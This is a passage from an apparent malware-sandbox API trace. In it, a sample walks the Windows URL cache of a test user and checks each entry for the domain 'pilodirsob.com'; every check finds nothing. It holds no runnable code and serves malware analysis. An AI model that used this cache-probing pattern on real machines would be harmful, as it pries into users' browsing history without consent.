StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/q34lq_JbiJsP.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/rw9RSXhngk69iq0H.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/q1P5U.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/kdQxTUFVVx.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ob40zEva5DRKY8OHuTA.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/L9zPPc-Yrgy3.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/nA%20h8.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/tba9%208-htsK355Ae3Q.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/bUz0kulIzd.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/O2uYzYjRV1_4DfQj.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gBd6-4sgl8Sgy5S.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/fdkus0pnkYX_9FlWPTF.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/KpBWj9lp.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/8ZpG.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.149] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.149] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/AAB8Ugjwnhd.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/7M%20gE_Md.xls", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/am7J3-.ods", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/8JEmUFi9Mlw.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/KMr-C2smP.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/sk2OI4pk.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/D1oAyK3G1TGu.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/rbIgDrZXw.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/sqp_XIDUP.png", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/l2%20tmDiWaU5LpGo9N.csv", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.150] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/ZqsuflN%20AEi3v1k.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.150] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/qKmq.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/CHfCw6OmU8G8iT.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/RsHGGmP1G3j3saqYtZFf.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/x3ae0WPkLee.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/3K0zw%205w2qsAHkoes.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/7tVJ.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/cn_0BRgl4hM-kJ8wE.pps", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/NPKnafg%20svyW-4p.rtf", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/8UJYk.ods", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.151] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Tlfrf.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.151] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/OkRs5XPatJ-lBBsZ.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Fgu3.rtf", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7I2Otue.odt", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/PZfAW1K-b_tgtbasrand.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/c2VYex-ql_WZAAkmz8qA.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/mlAx20rjOPn5Z.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/g4SN.xls", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/8nF8FXicLEc5Ij.xls", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/odN690Uv.png", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/3CvbZ27sNVNlEIcDr.png", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.152] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/4rGyMG.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.152] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/OZyz34.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/WBajqFyl.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/n8M3fjA-kFT1.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/KFFJsVbjyjxysr-W.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/krVny.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/wUbOzMUHShGB0.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/qCMb0KA7MfMwnqR-.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/E6EbhMwBQFcvigF.png", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/ptN2ZuQ8amSwzj3Hf.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.153] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/xaBuqdV.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.153] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/oNeEpnzll.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/1n511.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/rPvFAdqEUop.ppt", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/ANIK59S7NBZeKp.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/BEwDL2lhD.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/yUidHJTCMwIHB.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XVVo133TnKkCQ.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aKbv1Oo1ETirSfd1q%20gy.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/ZdbtJVvb-6FXnFWxnrvN.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.154] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.154] StrStrIA 